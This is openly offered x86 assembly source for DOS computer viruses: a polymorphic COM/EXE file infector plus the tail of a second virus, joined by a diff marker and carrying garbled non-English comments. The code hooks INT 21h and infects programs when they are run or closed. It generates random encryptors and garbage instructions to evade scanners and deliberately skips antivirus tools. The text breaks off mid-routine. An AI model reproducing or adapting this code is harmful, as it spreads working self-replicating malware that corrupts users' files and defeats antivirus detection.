jnz loc_25 ; Jump if not zero
|
||||
sub si,10h
|
||||
sub si,cs:[di+8] ; Š®°¨£¨° ¯°¥´¨ª±
|
||||
mov word ptr cs:[di+14h],100h
|
||||
mov cs:[di+16h],si
|
||||
mov word ptr cs:[di+10h],400h
|
||||
add si,44h
|
||||
nop
|
||||
mov cs:[di+0Eh],si
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 0ECh ; ‚§¥¬ ¤º«¦¨ ²
|
||||
mov cx,200h
|
||||
div cx ; ax,dx rem=dx:ax/reg
|
||||
or dx,dx ; Zero ?
|
||||
jz loc_24 ; Jump if zero
|
||||
inc ax
|
||||
loc_24:
|
||||
mov cs:[di+2],dx ;�°®¬¥¿ ¤º«¦¨ ² ¢ ¯°¥´¨ª±
|
||||
mov cs:[di+4],ax
|
||||
jmp short loc_26 ; (03D4)
|
||||
loc_25:
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
mov si,46Ch
|
||||
mov cx,0Bh
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
pop es
|
||||
pop di
|
||||
pop word ptr [di+0Bh]
|
||||
loc_26:
|
||||
mov ax,4200h ; �°¥¬¥±²¢ FP ¢ · «®²®
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 0ECh
|
||||
mov ah,40h ; ‡ ¯¨±¢ ¯º°¢¨²¥ 16h ¡ ©²
|
||||
mov cx,18h
|
||||
mov dx,di
|
||||
int 0ECh
|
||||
loc_27: ; ‚§¥¬ ¤ ² ² ¬³ ¨ ¿ § ¯¨±¢
|
||||
mov ax,5700h
|
||||
int 0ECh
|
||||
mov al,1
|
||||
int 0ECh
|
||||
mov ah,3Eh ; ‡ ²¢ °¿ ´ ¨«
|
||||
int 0ECh
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
retn
|
||||
sub_4 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near ; ‚º§±² ®¢¿¢ INT 24H
|
||||
push ax
|
||||
push dx
|
||||
push ds
|
||||
mov ax,2524h
|
||||
mov dx,cs:data_17e ; (6C11:0499=0)
|
||||
mov ds,cs:data_18e ; (6C11:049B=0)
|
||||
pop ds
|
||||
pop dx
|
||||
pop ax
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near ; ‡ ¯ §¢ °¥£¨±²°¨²¥
|
||||
push ax
|
||||
push es
|
||||
push di
|
||||
push bx
|
||||
mov di,dx
|
||||
push ds
|
||||
pop es
|
||||
mov al,0
|
||||
mov cx,40h ; ’º°±¨ ª° ¿² ¨¬¥²® ´ ¨«
|
||||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||||
mov ax,[di-3]
|
||||
mov cx,[di-5]
|
||||
and ax,5F5Fh
|
||||
and ch,5Fh
|
||||
cmp ax,4D4Fh ;(COM)?
|
||||
jne loc_29
|
||||
cmp cx,432Eh
|
||||
je $+10h ; Jump if equal
|
||||
loc_28:
|
||||
stc ; Set carry flag
|
||||
jmp short $+2Fh
|
||||
loc_29:
|
||||
cmp ax,4558h
|
||||
jne loc_28 ; Jump if not equal
|
||||
cmp cx,452Eh
|
||||
sub_6 endp
|
||||
|
||||
|
||||
seg_b ends
|
||||
|
||||
|
||||
|
||||
;--------------------------------------------------------- stack_seg_c ---
|
||||
|
||||
stack_seg_c segment para stack
|
||||
|
||||
db 75h, 0F2h, 0B9h, 7, 0, 0BBh
|
||||
db 0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
|
||||
db 24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
|
||||
db 1, 0E1h, 0F3h, 0B0h, 1, 75h
|
||||
db 2, 0B0h, 2, 2Eh, 0A2h, 0B8h
|
||||
db 4, 0B8h, 0, 43h, 0CDh, 0ECh
|
||||
db 5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
|
||||
db 3, 0CFh, 50h, 8Ch, 0C8h, 1
|
||||
db 6, 0Bh, 1, 58h, 0EAh, 0
|
||||
db 1
|
||||
db ' Dark Lord, I summon thee!'
|
||||
db 0
|
||||
db 4Dh, 41h, 4Eh, 4Fh, 57h, 41h
|
||||
db 52h
|
||||
db 935 dup (0)
|
||||
|
||||
stack_seg_c ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,883 @@
|
||||
.model tiny
|
||||
.code
|
||||
.386
|
||||
|
||||
code_size equ code_end-code_start
|
||||
filecodelength equ filecodeend-code_start
|
||||
org 100h
|
||||
|
||||
code_start:
|
||||
start:
|
||||
call StartDecryptSimple
|
||||
|
||||
SimpleCryptStart:
|
||||
|
||||
call InstallVirus ; Call Install routine
|
||||
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Following code randomly creates an encryptor and a matching :+
|
||||
;+ decryptor. :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
WriteVirus:
|
||||
push bx ; Save filehandle
|
||||
in ax,40h ; Get random
|
||||
|
||||
;+:+:+:+:+:+:+Create random values to use in instructions+:+:+:+:+:+:+:
|
||||
|
||||
mov si,offset Rand1a ; First random in decryptor OP-codes
|
||||
mov di,offset Rand1b ; First random in encryptor OP-codes
|
||||
mov cx,5 ; 7*2 OP-codes to change
|
||||
SetRandom:
|
||||
mov [si],al
|
||||
mov [di],al
|
||||
add si,4 ; Next OP-code
|
||||
add di,4 ; -----"-----
|
||||
xor ax, 'P'-'O'-'O'-'R' ; Generate...
|
||||
rol ax,5 ; ..new...
|
||||
xor ax,'R'-'E'-'B'-'O'-'U'-'N'-'D' ; random
|
||||
loop SetRandom
|
||||
|
||||
;+:+:+:+:+:+: Copy instructions from ENCode and DECode :+:+:+:+:+:+:+:
|
||||
|
||||
CreateCode:
|
||||
push cs
|
||||
pop es
|
||||
mov cx,13 ;Counter, max 13 sequences
|
||||
mov di,offset CCode1
|
||||
mov si,offset DECode
|
||||
mov word ptr ds:[CLength],0h ;Length of decryptor
|
||||
CreateLoop:
|
||||
mov si,offset DECode
|
||||
in ax,40h ; Get random
|
||||
ror ax,cl
|
||||
xor ax,'I'-'M'-'M'-'O'-'R'-'T'-'A'-'L'
|
||||
sub ax, 'R'-'I'-'O'-'T'
|
||||
push ax ;Save for later use
|
||||
mov bl,al
|
||||
and bl,15 ;Mask only 0-15
|
||||
shl bl,2 ;mul 4 to get right offset
|
||||
xor bh,bh
|
||||
add si,bx ;Get right OP-code
|
||||
movsd ;move one inst (4 bytes)
|
||||
|
||||
std ;count backwards
|
||||
push cx
|
||||
push di ;Move code in CCode one inst
|
||||
push si ;forward, so next inst could
|
||||
mov si,offset CCode2+13*4 ;be first.
|
||||
mov di,offset CCode2+14*4
|
||||
mov cx,14
|
||||
rep movsd
|
||||
pop si
|
||||
mov di,offset CCode2
|
||||
cld
|
||||
|
||||
cmp bl,29 ;Should we use alt. encrypt?
|
||||
jnb short Garbage ;No, just garbage-instructions
|
||||
|
||||
add si,ENCode-DECode-4 ;Get right pos in ENCode
|
||||
movsd ;move one inst (4 bytes)
|
||||
sub si,ENCode-DECode ;Back to old pos in DECode
|
||||
jmp short NoGarbage
|
||||
Garbage:
|
||||
sub si,4 ;Same instructions again
|
||||
movsd
|
||||
NoGarbage:
|
||||
pop di
|
||||
pop cx
|
||||
add word ptr ds:[CLength],4 ;Add length of decryptor
|
||||
pop ax ;Get random value again
|
||||
and ax,128+64 ;Leave de/encryptor like this?
|
||||
jz short QuitLoop
|
||||
loop CreateLoop
|
||||
QuitLoop:
|
||||
|
||||
;+:+:+: Build the first instruction in decryptor (mov cx,??) :+:+:+:+:
|
||||
|
||||
xor ax,ax
|
||||
in al,40h ; Another random
|
||||
xor al,'A'
|
||||
and al,7 ;Random between 0 and 7
|
||||
mov byte ptr ds:[InitCX1],0b9h ;OP-Code for mov cx,?
|
||||
mov bx,filecodelength
|
||||
add bx,ax
|
||||
mov word ptr ds:[InitCX1+1],bx ;Value to put in CX (counter)
|
||||
|
||||
;+:+:+: Build to second instruction (mov si, offset codestart) :+:+:+:+:
|
||||
|
||||
mov byte ptr ds:[InitSI1],0beh ;OP-Code for mov si,?
|
||||
mov ax,[entry_p] ;EntryPoint
|
||||
add ax,word ptr ds:[CLength] ;Length of cryptlines
|
||||
add ax,15 ;size of rest of loop
|
||||
add ax,[IPOffs] ;Then add 100h
|
||||
NoCom: mov word ptr ds:[InitSI1+1],ax ;Value to put in CX (counter)
|
||||
|
||||
;+:+:+: Build the instruction that increase SI :+:+:+:+:
|
||||
|
||||
and bl,2 ; Get random for inc si
|
||||
shl bl,2 ; mul 4
|
||||
mov bh,0
|
||||
mov si,offset DEcSI
|
||||
add si,bx ; Get pos in ADD-SI-alts.
|
||||
movsd
|
||||
|
||||
;+:+:+: Build the loop-instruction :+:+:+:+:
|
||||
|
||||
mov ah,0ffh
|
||||
sub ah,[CLength] ; Calculate loop operand
|
||||
sub ah,5
|
||||
mov al,0e2h ; OP-code for loop
|
||||
mov [di],ax ; Write loop command
|
||||
|
||||
;+:+:+: Write RET at end of encryptionroutine :+:+:+:+:
|
||||
|
||||
mov di,offset CCode2 ; Encryptionroutine
|
||||
add di,word ptr ds:[Clength] ; Find end of ER
|
||||
mov byte ptr ds:[di],0c3h ; Write a RET
|
||||
|
||||
;+:+:+: Write created loader to file :+:+:+:+:
|
||||
|
||||
pop bx ; Get filehandle
|
||||
mov ah,40h ; Function WRITE
|
||||
mov cx,word ptr ds:[CLength]
|
||||
add cx,12
|
||||
mov dx,offset InitCX1
|
||||
int 21h ; Write decryptor to file
|
||||
mov word ptr ds:[File_H],bx
|
||||
|
||||
;+:+:+:+: Cahnge decryptor so code could use it (put ret instead of inc)
|
||||
|
||||
mov di,offset CCode1 ; Encryptionroutine
|
||||
add di,word ptr ds:[Clength] ; Find end of ER
|
||||
mov byte ptr ds:[di],0c3h ; Write a RET
|
||||
|
||||
;+:+:+:+: Copy enc&dec-call-routine to end of virus :+:+:+:+:
|
||||
|
||||
mov si,offset ED_start ; Start of ED-routine
|
||||
mov di,offset ED_buf ; buffer beyond virus
|
||||
mov cx,ED_End-ED_start ; Size of ED-routine
|
||||
rep movsb
|
||||
call filecodeend ; Call copy
|
||||
|
||||
ret
|
||||
|
||||
;------ Routine to Encrypt virus, write virus, and decrypt virus
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Following code will be copied to memory beyond the virus, :+
|
||||
;+ and then called. The routine then calls the created :+
|
||||
;+ encryptor, writing the encrypted virus the the file and :+
|
||||
;+ then uses the modified decrytor to decrypt the virus again. :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
ED_start:
|
||||
|
||||
;+:+:+: Create RandomValue for simple enc/decryptor +:+:+:+
|
||||
|
||||
in al,40h
|
||||
mov byte ptr cs:[DSRan],al
|
||||
|
||||
;+:+:+: Encrypt virus, using simple encryptor :+:+:+:+
|
||||
|
||||
mov ax,offset EncryptDecryptSimple
|
||||
call ax
|
||||
|
||||
;+:+:+: Encrypt virus, using created encryptor :+:+:+:+
|
||||
|
||||
mov si,0100h ; Start of viruscode
|
||||
mov cx,filecodelength
|
||||
encloop:
|
||||
mov ax,offset CCode2 ; offset to created enc-routine
|
||||
call ax ; call it
|
||||
inc si
|
||||
loop encloop ; Encrypt whole virus
|
||||
|
||||
;+:+:+: Write encrypted virus to file :+:+:+:+
|
||||
|
||||
mov bx,word ptr ds:[File_H] ; Get filehandle
|
||||
mov ah,40h ; Function WRITE
|
||||
mov cx,filecodelength
|
||||
mov dx,0100h
|
||||
pushf
|
||||
push cs ; Fake interrupt call
|
||||
call DoOldInt
|
||||
|
||||
;+:+:+: Decrypt virus, using created encryptor :+:+:+:+
|
||||
|
||||
mov si,0100h ; Start of viruscode
|
||||
mov cx,filecodelength
|
||||
decloop:
|
||||
mov ax,offset CCode1
|
||||
call ax ; Call builded encryptroutine
|
||||
inc si
|
||||
loop decloop
|
||||
|
||||
;+:+:+: Decrypt virus, using simple decryptor :+:+:+:+
|
||||
|
||||
mov ax,offset EncryptDecryptSimple
|
||||
call ax
|
||||
|
||||
;+:+:+: Write random number of extra bytes to file (0-15) :+:+:+:+
|
||||
|
||||
mov bx,word ptr ds:[File_H] ; Get filehandle
|
||||
in ax,40h ; Get random in al
|
||||
mov ds,ax ; Read from random segment
|
||||
and ax,0fh ; mask bit 0-3
|
||||
mov cx,ax ; No. bytes to write
|
||||
mov ah,40h
|
||||
add word ptr cs:[CLength],cx ; add length (must know this
|
||||
xor dx,dx ; when creating EXE-header).
|
||||
pushf
|
||||
push cs ; Fake interrupt call
|
||||
call DoOldInt
|
||||
|
||||
push cs ; Push back codeseg in DS
|
||||
pop ds
|
||||
|
||||
ret
|
||||
|
||||
DoOldInt:
|
||||
sti
|
||||
db 0eah
|
||||
OldInt dd 0
|
||||
|
||||
ED_End:
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Following table contains 16 different 4-byte codesqeunces, :+
|
||||
;+ randomly used by the decryptionroutine. The first 8 affects :+
|
||||
;+ the decryption algoritm, and has a matching 4-byte inst- :+
|
||||
;+ ruction in the ENCode-table. The rest is just garbage- :+
|
||||
;+ instructions, used to make scanning harder. The morpher :+
|
||||
;+ will pick a random number (1-16) of these instructions, :+
|
||||
;+ and build the decryption routine. :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
DECode db 02eh,080h,004h ; add byte ptr cs:[si],?
|
||||
Rand1a db ?
|
||||
db 02eh,080h,02ch ; sub byte ptr cs:[si],?
|
||||
Rand2a db ?
|
||||
db 02eh,080h,034h ; xor byte ptr cs:[si],?
|
||||
Rand3a db ?
|
||||
db 02eh,0C0h,004h ; rol byte ptr cs:[si],?
|
||||
Rand4a db ?
|
||||
db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],?
|
||||
Rand5a db ?
|
||||
db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop
|
||||
db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop
|
||||
db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop
|
||||
;-------The rest is just bullshit, used to confuse scanners
|
||||
db 053h,08bh,0dch,05bh ; push bx; mov bx,sp; pop bx
|
||||
db 093h,043h,090h,043h ; xchg bx,ax; inc bx; nop; inc bx
|
||||
db 040h,08ah,0c4h,048h ; inc ax; mov al,ah; dec ax
|
||||
db 08ch,0c8h,056h,05fh ; mov ax,cs; push si; pop di;
|
||||
db 074h,000h,075h,000h ; je $+2; jne $+2;
|
||||
db 08Bh,0c3h,02bh,0d8h ; mov ax,bx; sub ax,bx
|
||||
db 003h,0feh,02ch,002h ; add di,si; sub al,2
|
||||
db 0ebh,001h,0b4h,090h ; jmp $+3; mov ah,90h (b4h + nop)
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Following table contains the encryptionversions of the :+
|
||||
;+ first 8 instructions in the DECode-table. :+
|
||||
;+ SUB will be ADD, ROR will be ROL etc. :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
ENCode db 02eh,080h,02ch ; sub byte ptr cs:[si],?
|
||||
Rand1b db ?
|
||||
db 02eh,080h,004h ; add byte ptr cs:[si],?
|
||||
Rand2b db ?
|
||||
db 02eh,080h,034h ; xor byte ptr cs:[si],?
|
||||
Rand3b db ?
|
||||
db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],?
|
||||
Rand4b db ?
|
||||
db 02eh,0C0h,004h ; rol byte ptr cs:[si],?
|
||||
Rand5b db ?
|
||||
db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop
|
||||
db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop
|
||||
db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Following table contains four different ways to increase :+
|
||||
;+ SI. Used only in the DECode-routine (CCode1). :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
DEcSI db 083h,0c6h,001h,090h ; add si,1; nop
|
||||
db 046h,033h,0dbh,0f8h ; inc si; xor bx,bx; clc
|
||||
db 04eh,046h,046h,0f9h ; dec si; inc si; sinc si; stc
|
||||
db 083h,0c6h,002h,04eh ; add si,2; dec si
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Other data :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
CLength db ? ; Length of decryptor
|
||||
db ?
|
||||
ComExe db 0 ; 0=Com, 1=Exe
|
||||
buffer db 0c3h ; Buffer contains original 3 bytes of
|
||||
orgep dw 0 ; COM-file. 03ch (RET) will exit program
|
||||
; in normal DOS. Used only first time.
|
||||
buffer2 db 0e9h ; JMP OP-code, used to build COM-jump
|
||||
entry_p dw 0 ; Entrypoint, part of JMP-instruction
|
||||
|
||||
Real_CS dw 0
|
||||
Real_IP dw 0
|
||||
Real_SS dw 0
|
||||
Real_SP dw 0
|
||||
|
||||
IPOffs dw 100h ; Start offset (100h for comfiles)
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ INT 21h Entrypoint. Check if virus is calling, and if file :+
|
||||
;+ should be infected. :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
NewVect:
|
||||
cmp ax,0DCBAh ; Is virus calling?
|
||||
jne Notvirus
|
||||
mov dx,ax
|
||||
iret
|
||||
Notvirus:
|
||||
cli ; Clear Interrupts
|
||||
cld ; Clear Direction
|
||||
cmp ah,3eh ; Is file going to be closed?
|
||||
je Short FileClose
|
||||
|
||||
cmp ax,4b00h ; Is file going to be executed?
|
||||
je Short FileExecute
|
||||
jmp DoOldInt
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Following code is called when a file is going to be executed. :+
|
||||
;+ The file will be opened, and then closed. When the file is :+
|
||||
;+ closed, the virus will call itself by INT21/3Eh, and the file :+
|
||||
;+ will be infected. Pretty smart, eh? :) :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
FileExecute:
|
||||
pusha
|
||||
|
||||
mov ax,3d00h ; Open file for ReadOnly
|
||||
int 21h
|
||||
mov bx,ax ; Filehandle in bx
|
||||
mov ah,3eh
|
||||
int 21h ; Close file (infect file :))
|
||||
|
||||
popa
|
||||
jmp DoOldInt
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Following code is called when a file is going to be closed. :+
|
||||
;+ The code uses INT2F/1220h to get the adress of JFT-entry, :+
|
||||
;+ and then INT2F/1216h to get adress of SFT. :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
FileClose:
|
||||
cmp bx,5 ; Is it a standard device?
|
||||
jb DoOldInt
|
||||
|
||||
push ds
|
||||
push es
|
||||
pusha
|
||||
|
||||
push bx
|
||||
mov ax,1220h ; Table in es:di
|
||||
int 2fh
|
||||
mov ax,1216h
|
||||
mov bl,byte ptr es:[di]
|
||||
int 2fh
|
||||
pop bx
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ This is a very poor way to check the 2 first characters in a :+
|
||||
;+ filename, but the asciicode will look nice =) :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
mov ax,word ptr es:[di+20h]
|
||||
xchg al,ah
|
||||
add ax,0302h
|
||||
|
||||
cmp ax,'F-' + 0302h ; Don't infect F-PROT
|
||||
je short Skip_Infect
|
||||
cmp ax,'SC' + 0302h ; Don't infect SCAN
|
||||
je short Skip_Infect
|
||||
cmp ax,'TB' + 0302h ; Don't infect TB*.* (TBAV)
|
||||
je short Skip_Infect
|
||||
cmp ax,'TO' + 0302h ; Don't infect TOOLKIT
|
||||
je short Skip_Infect
|
||||
cmp ax,'FV' + 0302h ; Don't infect FV386
|
||||
je short Skip_Infect
|
||||
cmp ax,'FI' + 0302h ; Don't infect FINDVIRU
|
||||
je short Skip_Infect
|
||||
cmp ax,'VI' + 0302h ; Don't infect VI*.*
|
||||
je short Skip_Infect
|
||||
cmp ax,'K-' + 0302h ; Don't infect R.L's stuff :)
|
||||
je short Skip_Infect
|
||||
|
||||
Check_Com:
|
||||
cmp word ptr es:[di+28h],'OC'
|
||||
jne short Check_Exe
|
||||
cmp byte ptr es:[di+2ah],'M'
|
||||
jne short Check_Exe
|
||||
or byte ptr es:[di+2],2 ; Set R&W Access
|
||||
call Infect_Com
|
||||
|
||||
Check_Exe:
|
||||
cmp word ptr es:[di+28h],'XE'
|
||||
jne short Skip_Infect
|
||||
cmp byte ptr es:[di+2ah],'E'
|
||||
jne short Skip_Infect
|
||||
or byte ptr es:[di+2],2 ; Set R&W Access
|
||||
call Infect_Exe
|
||||
|
||||
Skip_Infect:
|
||||
popa
|
||||
pop es
|
||||
pop ds
|
||||
jmp DoOldInt
|
||||
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Infect COM-file :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
Infect_Com:
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,4202h ; Go to EOF
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h ; Get filelength in AX
|
||||
push ax
|
||||
|
||||
mov ax,4200h ; Go to SOF
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah,3fh ; Read the 3 first bytes
|
||||
mov cx,3
|
||||
mov dx,offset buffer
|
||||
int 21h
|
||||
|
||||
pop ax ; Get Filelength
|
||||
sub ax,[orgep] ; Virus entrypoint, if file
|
||||
cmp ax,filecodelength+100h ; is infected
|
||||
jnb short LooksOk
|
||||
cmp ax,filecodelength-10h
|
||||
jb short LooksOk
|
||||
jmp short DontInfect
|
||||
|
||||
LooksOk:
|
||||
mov ax,4202h ; Go to EOF
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
cmp ax,62000 ; Is file small enough?
|
||||
jnb short DontInfect
|
||||
|
||||
sub ax,3 ; Make the first 3 bytes
|
||||
mov word ptr ds:[buffer2+1],ax ; (jmp to eof (viruscode))
|
||||
|
||||
mov [IPOffs],100h ; Tell that offset is 100h
|
||||
|
||||
push bx
|
||||
call WriteVirus
|
||||
pop bx
|
||||
|
||||
mov ax,4200h ; Move to SOF
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah,40h ; Write first 3 bytes
|
||||
mov cx,3
|
||||
mov dx,offset buffer2
|
||||
int 21h
|
||||
|
||||
DontInfect:
|
||||
ret
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Infect EXE-file :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
Infect_Exe:
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov [File_H],bx
|
||||
|
||||
mov ax,4200h ; Go to SOF
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,19h ; Size of EXE-header
|
||||
mov dx,offset EXE_Header
|
||||
int 21h
|
||||
|
||||
cmp word ptr ds:[EXE_Sig],'MZ' ; Be sure it's a real EXE.
|
||||
je short ItIsAnExe
|
||||
cmp word ptr ds:[EXE_Sig],'ZM'
|
||||
je short ItIsAnExe
|
||||
jmp short DontInfect
|
||||
ItIsAnExe:
|
||||
cmp byte ptr ds:[EXE_Win],40h ; Is it a NE-EXE?
|
||||
je short DontInfect ; Don't infect.
|
||||
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
xor ecx,ecx
|
||||
|
||||
les ax,dword ptr ds:[EXE_IP] ; get CS:IP in ES:AX
|
||||
mov ds:Real_CS,es
|
||||
mov ds:Real_IP,ax
|
||||
push ax ; Save IP
|
||||
push es ; Save CS
|
||||
|
||||
les ax,dword ptr ds:[EXE_SS] ; get SS:SP in AX:ES
|
||||
mov ds:Real_SS,ax
|
||||
mov ds:Real_SP,es
|
||||
push es
|
||||
pop bx ; SP in BX
|
||||
|
||||
shl eax,4 ; Build real SS:SP in EBX
|
||||
add eax,ebx
|
||||
|
||||
pop cx ; Get CS in CX
|
||||
pop bx ; Get IP in BX
|
||||
shl ecx,4 ; Build real CS:IP in ECX
|
||||
add ecx,ebx
|
||||
|
||||
sub eax,ecx ; EAX = SS:SP-CS:IP
|
||||
|
||||
cmp eax,(filecodelength+400)
|
||||
jnb short NotInfected
|
||||
cmp eax,filecodelength
|
||||
jb short NotInfected
|
||||
jmp SkipInfect
|
||||
|
||||
NotInfected:
|
||||
xor eax,eax
|
||||
mov bx,[File_H]
|
||||
|
||||
mov ax,4202h ; Go to EOF
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h ; Get filelength in dx:ax
|
||||
|
||||
xor ecx,ecx
|
||||
xor ebx,ebx
|
||||
mov cx, word ptr ds:[EXE_Siz] ; Get Siz/512 from header
|
||||
mov bx, word ptr ds:[EXE_Mod] ; Get Siz mod 512 from header
|
||||
shl ecx,9 ; Mul 512
|
||||
add ecx,ebx ; Build Real memsize
|
||||
|
||||
mov bx,dx
|
||||
shl ebx,16
|
||||
add ebx,eax ; Build filesize in EBX
|
||||
|
||||
cmp ecx,ebx ; Is whole file loaded?
|
||||
jb SkipInfect ; Nope, skip infect
|
||||
|
||||
xor ecx,ecx
|
||||
push ax
|
||||
pop cx ; Low word in cx
|
||||
|
||||
mov ax,dx
|
||||
shl eax,16
|
||||
add eax,ecx ; Build filesize in eax
|
||||
mov edx,eax ; Save filesize
|
||||
|
||||
xor ebx,ebx
|
||||
mov bx, word ptr ds:[EXE_SHe]
|
||||
shl ebx,4 ; Build real Headersize
|
||||
sub eax,ebx ; Filesize-Headersize=CS:IP!!
|
||||
push eax ; Save new CS:IP for later use
|
||||
|
||||
call FixSegOffs ; Fix CS:IP so IP<10h
|
||||
|
||||
mov dword ptr ds:[EXE_IP],eax
|
||||
|
||||
mov [entry_p],ax ; Set virus entrypoint
|
||||
mov [IPOffs],-3 ; No offset in EXE-files
|
||||
|
||||
mov bx,[File_H]
|
||||
call WriteVirus ; Write virus to EOF
|
||||
|
||||
